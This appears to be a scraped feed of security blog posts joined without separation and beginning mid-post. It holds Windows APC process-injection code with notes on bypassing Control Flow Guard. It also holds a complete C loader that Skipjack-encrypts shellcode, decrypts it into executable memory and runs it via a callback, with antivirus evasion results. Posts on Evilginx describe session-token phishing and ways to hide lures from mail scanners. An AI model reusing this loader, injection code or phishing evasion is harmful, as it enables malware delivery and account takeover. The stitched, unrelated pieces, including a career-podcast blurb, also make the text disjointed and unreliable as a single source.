    RemoteWritePrimitive(pi.hProcess, dummyHeaderRemote, dummyHeaderLocal, dummyHeaderLen);

    // Get the address of LdrpSetProtection using hardcoded offset
    DWORD_PTR funcAddress = (DWORD_PTR)GetModuleHandle(L"ntdll") + 0x86f70;
    // Get the address of NtQueueApcThread
    NtQueueApcThread_p pNtQueueApcThread = (NtQueueApcThread_p)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueueApcThread");

    // Bypass Control Flow Guard in the remote process

    // Execute LdrpSetProtection to change memory protection to executable
    pNtQueueApcThread(pi.hProcess, pLdrpSetProtection, dummyHeaderRemote, (void*)1, nullptr);
    // Execute the shellcode in the remote process
    pNtQueueApcThread(pi.hProcess, shellcode, nullptr, nullptr, nullptr);
    // Resume thread to trigger APC execution

Invoking LdrpSetProtection using APC will result in CFG exception, so its necessary to bypass it if you want to use the primitive.

0:001> g
ModLoad: 00007fff`8f300000 00007fff`8f32e000   C:\Windows\System32\IMM32.DLL
(2684.3338): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
00007fff`91815700 cd29    int     29h

LdrpSetProtection unfortunately is not exported by ntdll.dll. We can verify that LdrpSetProtection is not a member of ntdll.dll __guard_fids_table (authorized functions for an indirect call) by checking CFG bitmap.

0:007> u ntdll!LdrpValidateUserCallTarget
00007ffa`c1b5fbf0 488b1599970e00  mov     rdx,qword ptr [ntdll!LdrSystemDllInitBlock+0xb0 (00007ffa`c1c49390)]
00007ffa`c1b5fbf7 488bc1          mov     rax,rcx
00007ffa`c1b5fbfa 48c1e809        shr     rax,9
00007ffa`c1b5fbfe 488b14c2        mov     rdx,qword ptr [rdx+rax*8]
00007ffa`c1b5fc02 488bc1          mov     rax,rcx
00007ffa`c1b5fc05 48c1e803        shr     rax,3
00007ffa`c1b5fc09 f6c10f          test    cl,0Fh
00007ffa`c1b5fc0c 7507            jne     ntdll!LdrpValidateUserCallTarget+0x25 (00007ffa`c1b5fc15)
0:007> u ntdll!LdrpSetProtection l1
00007ffa`c1b56f70 488bc4          mov     rax,rsp
0:007> dq 00007ffa`c1c49390 L1
00007ffa`c1c49390  00007df5`81650000
0:007> ? 00007ffa`c1b56f70 >> 9
Evaluate expression: 274833922743 = 0000003f`fd60dab7
0:007> dq (00007df5`81650000 + 0000003f`fd60dab7 * 8) L1
00007ff5`6c6bd5b8  00000000`00000000

CFG bypass and dynamic resolution of LdrpSetProtection offset is left as an exercise for the reader.

In my tests LdrpSetProtection was present in ntdll.dll on Windows 1809 to 21H1. Unfortunately, the function was removed from ntdll.dll in 21H2. :woeful:.

Hunting C2s with Nuclei

4 September 2023 at 20:55
Overview # For a long time now, I’ve been using Censys/Shodan and DomainTools to look up hosts, attempt to correlate infrastructure to find overlaps and potentially attribute to C2s and other malicious hosts. There are so many data points to look at like JARM signatures, certificate data including historical analysis to watch hosting changes, service commonalities including the same web server hosted across multiple IPs, subdomains, etc. My point is this process almost always requires manual intervention at least first to visualize a pattern, then you can automate the infrastructure hunting for real-time monitoring.

From software engineer to career coach for women in tech leadership | Guest Limor Bergman-Gross

By: Infosec
28 August 2023 at 20:00

Limor Bergman-Gross, founder of LBG Consulting, a results-oriented executive coaching service for women in tech, discusses her early programming experience, including Pascal instruction in high school, her move from software engineering manager to career coach and corporate mentorship instructor and why mentors can and should come at any level on the career ladder, not just management or executive. As Limor puts it, “all you need in a mentor is that they be a few steps further down the path than you are.” Lots of gems like that to be found today on Cyber Work.

– Get your FREE cybersecurity training resources:
– View Cyber Work Podcast transcripts and additional episodes:

0:00 - Career coach for women in tech 
2:55 - Getting into cybersecurity 
5:50 - Pursuing cybersecurity consulting
6:54 - How to get into consulting 
8:15 - First steps with cybersecurity coaching
10:02 - How to help someone find their role
14:20 - Executive-level consulting 
16:00 - A mentor versus an advocate
17:45 - Mentoring and training 
20:00 - Speaking at an ISACA conference
22:28 - Achieving gender parity quickly
24:55 - Supporting underrepresented talent in cybersecurity
32:05 - Making a difference in diversity
35:00 - Women mentoring women
37:10 - Making yourself available as a mentor 
40:37 - Learn more about LBG Consulting
42:20 - Outro

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at


BREAKDEV RED - Red Team Community

30 August 2023 at 11:59
BREAKDEV RED - Red Team Community

Today I want to announce my plan for creating a closed community for professional red teamers, working in red team companies, who perform phishing engagements as part of their job.

Read more about it below, but if you're already ready to sign up, here is the button, which will take you to the registration form:

Red Teams United

My idea is to create a vetted Discord community, oriented around using Evilginx and ethical phishing, where everyone can safely share their phishing tips and tricks without worrying about them being misused by unknown parties.

I plan to launch a community repository for Evilginx phishlets, which will be maintained by me and other red teamers from the same trusted BREAKDEV RED community. Every community member will be granted free access to the repository and everyone will be able to contribute their own phishlets.

Additionally, all community members will be granted the ability to purchase licenses for Evilginx Pro as soon as it lands. The reveal of all the upcoming features will happen in the upcoming weeks. I expect Evilginx Pro to become a game-changer in professional phishing, solving a lot of issues around detection and adding the ability to bypass the latest reverse proxy phishing mitigations.

One of my main concerns is for Evilginx Pro to not fall into the hands of wrong-doers, which is the number one reason why I want to establish the trusted community in the first place.

Benefits for BREAKDEV RED members:

  • FREE access to the private Evilginx phishlets repository on GitHub, maintained by me and other Evilginx power users.
  • FREE access to the private BREAKDEV RED community on Discord, where you can interact with fellow red teamers, who went through the same vetting process as you did.
  • (OPTIONAL) Ability to purchase licenses for Evilginx Pro when it comes out sometime later this year or early 2024.

I have already confirmed that Discord communities can be highly beneficial for brainstorming and for Evilginx development. One of the great examples was when @JackButton_ shared how he implemented his own idea of signature base evasion and automated scan preventions using CloudFlare, on Evilginx Mastery Discord.

How do I sign up?

First of all, here is a list of requirements you need to fulfill, in order to be granted membership:

Registration requirements:

  • You're an employee or an owner of a cybersecurity company offering legal penetration testing services, with a focus on phishing simulations.
  • The provided contact e-mail should be hosted on the company domain. Sorry, no free domains (Gmail, Protonmail etc.), since those carry the risks of impersonation.
  • Your company should have a public website with outlined services provided in the area of cybersecurity. Once your status is approved, I will send you an email to the address you provided, with a final confirmation request.

If by any chance you do not use company emails hosted on the company domain, please explain in the "Comments" section of the form and we will work something out.

If you're ready to sign up, clicking this button will lead you to the registration form:


What is Evilginx Pro?

It is a privately maintained version of Evilginx which employs:

  • Evasion of widely employed phishing detection mechanisms.
  • Extra features like extraction of secret tokens, using an entirely new Evilpuppet module, responsible for interfacing Evilginx with a background browser.
  • Reverse proxy support for most popular services (including Google, LinkedIn and more).

I will release a blog post soon, going into detail on what exactly the Pro version is about.

What is the registration form about?

Since I do not want any of the community benefits to be abused or misused, I want to offer them EXCLUSIVELY to legitimate cybersecurity companies, offering red teaming and/or penetration testing services.

Your answers allow me to learn more about your company and let me make a decision whether to put it on the list of trusted companies, interested in becoming Evilginx power users.

Malware and cryptography 20: encrypt/decrypt payload via Skipjack. Simple C++ example.

28 August 2023 at 01:00

Hello, cybersecurity enthusiasts and white hackers!


This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: Skipjack. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.


Skipjack is a symmetric key block cipher encryption algorithm designed primarily for government use, with a focus on strong security while being computationally efficient. It was developed by the National Security Agency (NSA) in the early 1990s and was initially intended for use in various secure communications applications.

practical example

Skipjack operates on 64-bit blocks of data and uses an 80-bit key, divided into eight 10-bit words. The algorithm employs a series of permutations, substitutions, and key mixing steps to achieve its encryption and decryption. Skipjack operates on a Feistel network structure, where the data block is split into two halves and processed through multiple rounds.

The algorithm’s basic structure involves:
A key setup phase to generate round subkeys from the user-provided key.
A series of 32 rounds in which the data block undergoes various transformations using the round subkeys.
The final output is the result of the last round, which serves as the encrypted or decrypted data.

In Skipjack, the core operation is a key-dependent permutation called “G.” This permutation operates on 16-bit words (two bytes) and is used in the encryption and decryption processes. The G permutation is a Feistel network, meaning it uses a combination of substitutions, permutations, and key mixing to produce its output:

 * The key-dependent permutation G on V^16 is a four-round Feistel network.
 * The round function is a fixed unsigned char-substitution table (permutation on V^8),
 * the F-table.  Each round of G incorporates a single unsigned char from the key.
#define g(tab, w, i, j, k, l) \
{ \
  w ^= (unsigned int)tab[i][w & 0xff] << 8; \
  w ^= (unsigned int)tab[j][w >>   8]; \
  w ^= (unsigned int)tab[k][w & 0xff] << 8; \
  w ^= (unsigned int)tab[l][w >>   8]; \

#define g0(tab, w) g(tab, w, 0, 1, 2, 3)
#define g1(tab, w) g(tab, w, 4, 5, 6, 7)
#define g2(tab, w) g(tab, w, 8, 9, 0, 1)
#define g3(tab, w) g(tab, w, 2, 3, 4, 5)
#define g4(tab, w) g(tab, w, 6, 7, 8, 9)

 * The inverse of the G permutation.
#define h(tab, w, i, j, k, l) \
{ \
  w ^= (unsigned int)tab[l][w >>   8]; \
  w ^= (unsigned int)tab[k][w & 0xff] << 8; \
  w ^= (unsigned int)tab[j][w >>   8]; \
  w ^= (unsigned int)tab[i][w & 0xff] << 8; \

#define h0(tab, w) h(tab, w, 0, 1, 2, 3)
#define h1(tab, w) h(tab, w, 4, 5, 6, 7)
#define h2(tab, w) h(tab, w, 8, 9, 0, 1)
#define h3(tab, w) h(tab, w, 2, 3, 4, 5)
#define h4(tab, w) h(tab, w, 6, 7, 8, 9)

Then, define a function named makeKey that is used to preprocess a user key and create a table of values:

 * Preprocess a user key into a table to save an XOR at each F-table access.
void makeKey(unsigned char key[10], unsigned char tab[10][256]) {
  /* tab[i][c] = fTable[c ^ key[i]] */
  int i;
  for (i = 0; i < 10; i++) {
    unsigned char *t = tab[i], k = key[i];
    int c;
    for (c = 0; c < 256; c++) {
      t[c] = fTable[c ^ k];

Subsequently, we implement the encryption process for a single block of data:

 * Encrypt a single block of data.
void encrypt(unsigned char tab[10][256], unsigned char in[8], unsigned char out[8]) {
  unsigned int w1, w2, w3, w4;

  w1 = (in[0] << 8) + in[1];
  w2 = (in[2] << 8) + in[3];
  w3 = (in[4] << 8) + in[5];
  w4 = (in[6] << 8) + in[7];

  /* stepping rule A: */
  g0(tab, w1); w4 ^= w1 ^ 1;
  g1(tab, w4); w3 ^= w4 ^ 2;
  g2(tab, w3); w2 ^= w3 ^ 3;
  g3(tab, w2); w1 ^= w2 ^ 4;
  g4(tab, w1); w4 ^= w1 ^ 5;
  g0(tab, w4); w3 ^= w4 ^ 6;
  g1(tab, w3); w2 ^= w3 ^ 7;
  g2(tab, w2); w1 ^= w2 ^ 8;

  /* stepping rule B: */
  w2 ^= w1 ^  9; g3(tab, w1);
  w1 ^= w4 ^ 10; g4(tab, w4);
  w4 ^= w3 ^ 11; g0(tab, w3);
  w3 ^= w2 ^ 12; g1(tab, w2);
  w2 ^= w1 ^ 13; g2(tab, w1);
  w1 ^= w4 ^ 14; g3(tab, w4);
  w4 ^= w3 ^ 15; g4(tab, w3);
  w3 ^= w2 ^ 16; g0(tab, w2);

  /* stepping rule A: */
  g1(tab, w1); w4 ^= w1 ^ 17;
  g2(tab, w4); w3 ^= w4 ^ 18;
  g3(tab, w3); w2 ^= w3 ^ 19;
  g4(tab, w2); w1 ^= w2 ^ 20;
  g0(tab, w1); w4 ^= w1 ^ 21;
  g1(tab, w4); w3 ^= w4 ^ 22;
  g2(tab, w3); w2 ^= w3 ^ 23;
  g3(tab, w2); w1 ^= w2 ^ 24;

  /* stepping rule B: */
  w2 ^= w1 ^ 25; g4(tab, w1);
  w1 ^= w4 ^ 26; g0(tab, w4);
  w4 ^= w3 ^ 27; g1(tab, w3);
  w3 ^= w2 ^ 28; g2(tab, w2);
  w2 ^= w1 ^ 29; g3(tab, w1);
  w1 ^= w4 ^ 30; g4(tab, w4);
  w4 ^= w3 ^ 31; g0(tab, w3);
  w3 ^= w2 ^ 32; g1(tab, w2);

  out[0] = (unsigned char)(w1 >> 8); out[1] = (unsigned char)w1;
  out[2] = (unsigned char)(w2 >> 8); out[3] = (unsigned char)w2;
  out[4] = (unsigned char)(w3 >> 8); out[5] = (unsigned char)w3;
  out[6] = (unsigned char)(w4 >> 8); out[7] = (unsigned char)w4;


So, full source code for encryption and decryption our meow-meow payload is looks like this:

 * hack.c
 * optimized implementation of SKIPJACK algorithm
 * originally written by Panu Rissanen <[email protected]> 1998.06.24
 * optimized by Mark Tillotson <[email protected]> 1998.06.25
 * optimized by Paulo Barreto <[email protected]> 1998.06.30
 * The F-table unsigned char permutation (see description of the G-box permutation)
 * malware cryptography part 20. Encrypt/decrypt payload via SKIPJACK. C implementation
 * author: @cocomelonc 2023.08.28
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <windows.h>

static const unsigned char fTable[256] = { 

 * The key-dependent permutation G on V^16 is a four-round Feistel network.
 * The round function is a fixed unsigned char-substitution table (permutation on V^8),
 * the F-table.  Each round of G incorporates a single unsigned char from the key.
#define g(tab, w, i, j, k, l) \
{ \
  w ^= (unsigned int)tab[i][w & 0xff] << 8; \
  w ^= (unsigned int)tab[j][w >>   8]; \
  w ^= (unsigned int)tab[k][w & 0xff] << 8; \
  w ^= (unsigned int)tab[l][w >>   8]; \

#define g0(tab, w) g(tab, w, 0, 1, 2, 3)
#define g1(tab, w) g(tab, w, 4, 5, 6, 7)
#define g2(tab, w) g(tab, w, 8, 9, 0, 1)
#define g3(tab, w) g(tab, w, 2, 3, 4, 5)
#define g4(tab, w) g(tab, w, 6, 7, 8, 9)

 * The inverse of the G permutation.
#define h(tab, w, i, j, k, l) \
{ \
  w ^= (unsigned int)tab[l][w >>   8]; \
  w ^= (unsigned int)tab[k][w & 0xff] << 8; \
  w ^= (unsigned int)tab[j][w >>   8]; \
  w ^= (unsigned int)tab[i][w & 0xff] << 8; \

#define h0(tab, w) h(tab, w, 0, 1, 2, 3)
#define h1(tab, w) h(tab, w, 4, 5, 6, 7)
#define h2(tab, w) h(tab, w, 8, 9, 0, 1)
#define h3(tab, w) h(tab, w, 2, 3, 4, 5)
#define h4(tab, w) h(tab, w, 6, 7, 8, 9)

 * Preprocess a user key into a table to save an XOR at each F-table access.
void makeKey(unsigned char key[10], unsigned char tab[10][256]) {
  /* tab[i][c] = fTable[c ^ key[i]] */
  int i;
  for (i = 0; i < 10; i++) {
    unsigned char *t = tab[i], k = key[i];
    int c;
    for (c = 0; c < 256; c++) {
      t[c] = fTable[c ^ k];

 * Encrypt a single block of data.
void encrypt(unsigned char tab[10][256], unsigned char in[8], unsigned char out[8]) {
  unsigned int w1, w2, w3, w4;

  w1 = (in[0] << 8) + in[1];
  w2 = (in[2] << 8) + in[3];
  w3 = (in[4] << 8) + in[5];
  w4 = (in[6] << 8) + in[7];

  /* stepping rule A: */
  g0(tab, w1); w4 ^= w1 ^ 1;
  g1(tab, w4); w3 ^= w4 ^ 2;
  g2(tab, w3); w2 ^= w3 ^ 3;
  g3(tab, w2); w1 ^= w2 ^ 4;
  g4(tab, w1); w4 ^= w1 ^ 5;
  g0(tab, w4); w3 ^= w4 ^ 6;
  g1(tab, w3); w2 ^= w3 ^ 7;
  g2(tab, w2); w1 ^= w2 ^ 8;

  /* stepping rule B: */
  w2 ^= w1 ^  9; g3(tab, w1);
  w1 ^= w4 ^ 10; g4(tab, w4);
  w4 ^= w3 ^ 11; g0(tab, w3);
  w3 ^= w2 ^ 12; g1(tab, w2);
  w2 ^= w1 ^ 13; g2(tab, w1);
  w1 ^= w4 ^ 14; g3(tab, w4);
  w4 ^= w3 ^ 15; g4(tab, w3);
  w3 ^= w2 ^ 16; g0(tab, w2);

  /* stepping rule A: */
  g1(tab, w1); w4 ^= w1 ^ 17;
  g2(tab, w4); w3 ^= w4 ^ 18;
  g3(tab, w3); w2 ^= w3 ^ 19;
  g4(tab, w2); w1 ^= w2 ^ 20;
  g0(tab, w1); w4 ^= w1 ^ 21;
  g1(tab, w4); w3 ^= w4 ^ 22;
  g2(tab, w3); w2 ^= w3 ^ 23;
  g3(tab, w2); w1 ^= w2 ^ 24;

  /* stepping rule B: */
  w2 ^= w1 ^ 25; g4(tab, w1);
  w1 ^= w4 ^ 26; g0(tab, w4);
  w4 ^= w3 ^ 27; g1(tab, w3);
  w3 ^= w2 ^ 28; g2(tab, w2);
  w2 ^= w1 ^ 29; g3(tab, w1);
  w1 ^= w4 ^ 30; g4(tab, w4);
  w4 ^= w3 ^ 31; g0(tab, w3);
  w3 ^= w2 ^ 32; g1(tab, w2);

  out[0] = (unsigned char)(w1 >> 8); out[1] = (unsigned char)w1;
  out[2] = (unsigned char)(w2 >> 8); out[3] = (unsigned char)w2;
  out[4] = (unsigned char)(w3 >> 8); out[5] = (unsigned char)w3;
  out[6] = (unsigned char)(w4 >> 8); out[7] = (unsigned char)w4;


 * Decrypt a single block of data.
void decrypt(unsigned char tab[10][256], unsigned char in[8], unsigned char out[8]) {
  unsigned int w1, w2, w3, w4;

  w1 = (in[0] << 8) + in[1];
  w2 = (in[2] << 8) + in[3];
  w3 = (in[4] << 8) + in[5];
  w4 = (in[6] << 8) + in[7];

  /* stepping rule A: */
  h1(tab, w2); w3 ^= w2 ^ 32;
  h0(tab, w3); w4 ^= w3 ^ 31;
  h4(tab, w4); w1 ^= w4 ^ 30;
  h3(tab, w1); w2 ^= w1 ^ 29;
  h2(tab, w2); w3 ^= w2 ^ 28;
  h1(tab, w3); w4 ^= w3 ^ 27;
  h0(tab, w4); w1 ^= w4 ^ 26;
  h4(tab, w1); w2 ^= w1 ^ 25;

  /* stepping rule B: */
  w1 ^= w2 ^ 24; h3(tab, w2);
  w2 ^= w3 ^ 23; h2(tab, w3);
  w3 ^= w4 ^ 22; h1(tab, w4);
  w4 ^= w1 ^ 21; h0(tab, w1);
  w1 ^= w2 ^ 20; h4(tab, w2);
  w2 ^= w3 ^ 19; h3(tab, w3);
  w3 ^= w4 ^ 18; h2(tab, w4);
  w4 ^= w1 ^ 17; h1(tab, w1);

  /* stepping rule A: */
  h0(tab, w2); w3 ^= w2 ^ 16;
  h4(tab, w3); w4 ^= w3 ^ 15;
  h3(tab, w4); w1 ^= w4 ^ 14;
  h2(tab, w1); w2 ^= w1 ^ 13;
  h1(tab, w2); w3 ^= w2 ^ 12;
  h0(tab, w3); w4 ^= w3 ^ 11;
  h4(tab, w4); w1 ^= w4 ^ 10;
  h3(tab, w1); w2 ^= w1 ^  9;

  /* stepping rule B: */
  w1 ^= w2 ^ 8; h2(tab, w2);
  w2 ^= w3 ^ 7; h1(tab, w3);
  w3 ^= w4 ^ 6; h0(tab, w4);
  w4 ^= w1 ^ 5; h4(tab, w1);
  w1 ^= w2 ^ 4; h3(tab, w2);
  w2 ^= w3 ^ 3; h2(tab, w3);
  w3 ^= w4 ^ 2; h1(tab, w4);
  w4 ^= w1 ^ 1; h0(tab, w1);

  out[0] = (unsigned char)(w1 >> 8); out[1] = (unsigned char)w1;
  out[2] = (unsigned char)(w2 >> 8); out[3] = (unsigned char)w2;
  out[4] = (unsigned char)(w3 >> 8); out[5] = (unsigned char)w3;
  out[6] = (unsigned char)(w4 >> 8); out[7] = (unsigned char)w4;


void encryptData(unsigned char tab[10][256], unsigned char *in, unsigned char *out, int length) {
  int numBlocks = length / 8;
  for (int i = 0; i < numBlocks; i++) {
    encrypt(tab, in + (i * 8), out + (i * 8));

void decryptData(unsigned char tab[10][256], unsigned char *in, unsigned char *out, int length) {
  int numBlocks = length / 8;
  for (int i = 0; i < numBlocks; i++) {
    decrypt(tab, in + (i * 8), out + (i * 8));

int main() {
  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41,
    0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52,
    0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1,
    0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e,
    0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49,
    0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d,
    0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b,
    0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c,
    0x49, 0x1, 0xd0, 0x3e, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
    0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7,
    0xc1, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d, 0x85,
    0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x7, 0xff, 0xd5, 0x48,
    0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d,
    0x65, 0x6f, 0x77, 0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  unsigned char key[10]  = { 0x00, 0x99, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11 };
  unsigned char tab[10][256];

  // pad data to 8 bytes
  int dataSize = sizeof(data);
  int paddedDataSize = (dataSize / 8 + 1) * 8;
  unsigned char paddedData[paddedDataSize];

  memcpy(paddedData, data, dataSize);
  memset(paddedData + dataSize, 0, paddedDataSize - dataSize);

  unsigned char encryptedData[paddedDataSize];
  unsigned char decryptedData[paddedDataSize];

  printf("Original data:\n");
  for (int i = 0; i < paddedDataSize; i++) {
    printf("%02x ", paddedData[i]);

  encryptData(tab, paddedData, encryptedData, paddedDataSize);

  printf("Encrypted data:\n");
  for (int i = 0; i < paddedDataSize; i++) {
    printf("%02x ", encryptedData[i]);

  decryptData(tab, encryptedData, decryptedData, paddedDataSize);

  printf("Decrypted data:\n");
  for (int i = 0; i < paddedDataSize; i++) {
    printf("%02x ", decryptedData[i]);

  LPVOID mem = VirtualAlloc(NULL, paddedDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decryptedData, paddedDataSize);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

  return 0;

Printing operations is just for checking correctness of implementation.


Let’s go see it in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive


And run it in the victim’s machine (windows 7 x64 in my case):




As you can see, payload (1) successfully decrypted. (2)

Also worked in windows 10 x64 v1903:


Upload our sample hack.exe to VirusTotal:


As you can see, only 21 of 71 AV engines detect our file as malicious

Shannon entropy:


Of course, this result is justified by the fact that the method of launching the shellcode is not new, you can simply update the code of our PoC and implement only the decryption logic.

The Skipjack algorithm is known for its simplicity and efficiency in terms of both hardware and software implementations. It was designed with a focus on security and was intended for use in various applications, including government communications.

Skipjack gained some notoriety due to its association with the Clipper chip initiative, a controversial cryptographic technology proposed by the U.S. government. The Clipper chip was designed to provide strong encryption while ensuring that law enforcement could still gain access to encrypted communications when authorized by a court order. =^..^=

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Evilginx 3.2 - Swimming With The Phishes

24 August 2023 at 10:02
Evilginx 3.2 - Swimming With The Phishes

Welcome back!

I've recently managed to find some free time to work on reverse proxy support for the latest Google updates and in the process I've made several additions to the Evilginx code base, which I think some of you will find useful.

To start, I wanted to give a big shoutout to Daniel (@dunderhay) for publishing a great post on how he used Evilginx to phish the Microsoft 365 ADFS environment and how he even made his modifications to succeed!

Evilginx is getting more love this year than in the last couple of years and I'm very happy about it. I have big plans for Evilginx, which I will announce soon, but first I wanted to give you a rundown of what the latest 3.2 update consists of.

I will start with the most significant changes.

Dynamic Redirection on Session Capture

One of the behaviours, that annoyed me when using Evilginx, was the fact that sometimes it was not possible to immediately redirect the phished user to the configured redirect_url, once all session tokens were captured. Evilginx could only redirect the browser once the targeted website attempted to navigate to a different page, on its own.

It made redirects not work on single-page applications. I learned it first-hand during the development of the Training Lab for my Evilginx Mastery course. The main page of the lab changes its contents dynamically and never navigates to a different URL. This means that once session tokens are captured by Evilginx, the tool is unable to redirect the user to redirect_url address.

In the 3.2 update, I've managed to solve the problem with injected JavaScript sending out HTTP long polling requests on every proxied page, to retrieve session capture status directly from the Evilginx proxy server in real-time. Evilginx will inject its own JavaScript code on every HTML page load, which will be responsible for querying https://<phish_domain>/s/<phish_session_id> infinitely. Evilginx proxy server will respond with a JSON structure, containing the redirect_url value only when the session is successfully captured. Otherwise, the connection will time out after 30 seconds and will be retried afterwards. Long polling allows Evilginx to let the injected script know that the session was captured immediately when it happens.

The script will then change the window.location URL to the retrieved redirect_url value, redirecting the user to a preconfigured page address. Redirection should now work great within Evilginx Mastery Training Lab.

Instead of HTTP long polling, I could've used WebSockets, but I wanted to keep it simple without the need to rely on external libraries, which would need to be injected as well.

Temporary Lure Pausing

Evilginx 3.2 - Swimming With The Phishes

Imagine a situation - you're on a phishing engagement and finally get to send out your phishing lures. Once the emails start arriving at the target inbox, the mailbox server opens them one by one and scans the HTML content of every phishing URL. The mail server then determines emails as phishing and they are sent to quarantine.

There are many ways to prevent automated scanners from seeing the content of your phishing pages, but the most straightforward method would be to simply hide your phishing pages for a brief moment, right before you send out the emails. Enough to hide their content from automated scanners, but not from the targeted user.

Now you can easily hide your lures from prying eyes by pausing them for a specific time duration with:

lures pause <id> <time_duration>

The best part is that you don't have to worry about unpausing a lure manually. Once the pause period expires, the lure with become active again and you will get a notification about it in the terminal. The pause state also persists between Evilginx restarts.

Interception of HTTP Requests

I found out that sometimes it would be useful to be able to block some of the proxied requests or have them return custom responses, without the proxied requests ever reaching the destination server.

Now you can detect specific requests within the new intercept section in your phishlets, which will match specific URL paths on domains within your proxy_hosts list. Once the request matches your filters, you will be able to detour the request and return your response with a custom HTTP status code.

  - {domain: '', path: '^\/report_error$', http_status: 200, body: '{"error":0}'', mime: "application/json"}
  - {domain: '', path: '^\/api\/v1\/log\/.*', http_status: 404}

In the example above, any request to will be intercepted and will return HTTP status 200 with response body {"error":0} and MIME type application/json.

The second entry will make sure that all requests to<whatever> will return 404 Not Found HTTP response.

Redirect URL Added to Phishlets

Sometimes for the phishlet to work properly and to not interrupt the phished user's experience, it needs to redirect the user's browser right after session tokens are successfully captured. For now, the redirect would happen only if redirect_url was specified for the lure, used with the phishing engagement.

At times, it is important to have a default redirect_url specified, especially if we want the user to be redirected to the home page of the phished website, by design. Sometimes the redirection to the home page will happen automatically, but sometimes it needs to be enforced.

From this Evilginx version, you can set a default redirect_url in the phishlet you are creating to make sure the phished user is redirected, once session tokens are captured, even if redirect_url has not been set up for the given lure.

Unauthorized Request Redirects Per Phishlet

First of all, I've changed the name redirect_url from global config to unauth_url, to better illustrate its purpose and so it doesn't get confused with redirect_url set up in phishlets or lures.

IMPORTANT! Keep note that the URL you set for unauthorized request redirects may reset itself after the update, due to the name change.

Unauthorized URL or unauth_url holds the URL address where visitors will be redirected if they open any URL on the phishing domain, which doesn't correspond to any valid URL or if the lure is currently paused.

So far, it was possible to set up unauth_url globally, which would provide the same URL to redirect to for all active phishlets. With 3.2 you can now override the global unauth_url by specifying a value for each phishlet with:

phishlets unauth_url <phishlet> <url>

This feature was suggested by @0x_aalex who was also kind enough to submit a PR with his implementation. Thank you for that!

Tweaks and Fixes

Additionally to several new features, Evilginx has also received some QoL tweaks and fixes, which should improve the overall phishing performance.

Disabled caching of proxied content by web browsers

Sometimes it was especially frustrating to test the sub_filters of your phishlets because your web browser cached the content of your previous modification. Every time you made small changes and had to retest, it was required to clear the browser cache.

Starting from the 3.2 update, Evilginx will prevent web browsers from caching HTML, JavaScript and JSON content by injecting Cache-Control: no-cache, no-store HTTP header in proxied responses.

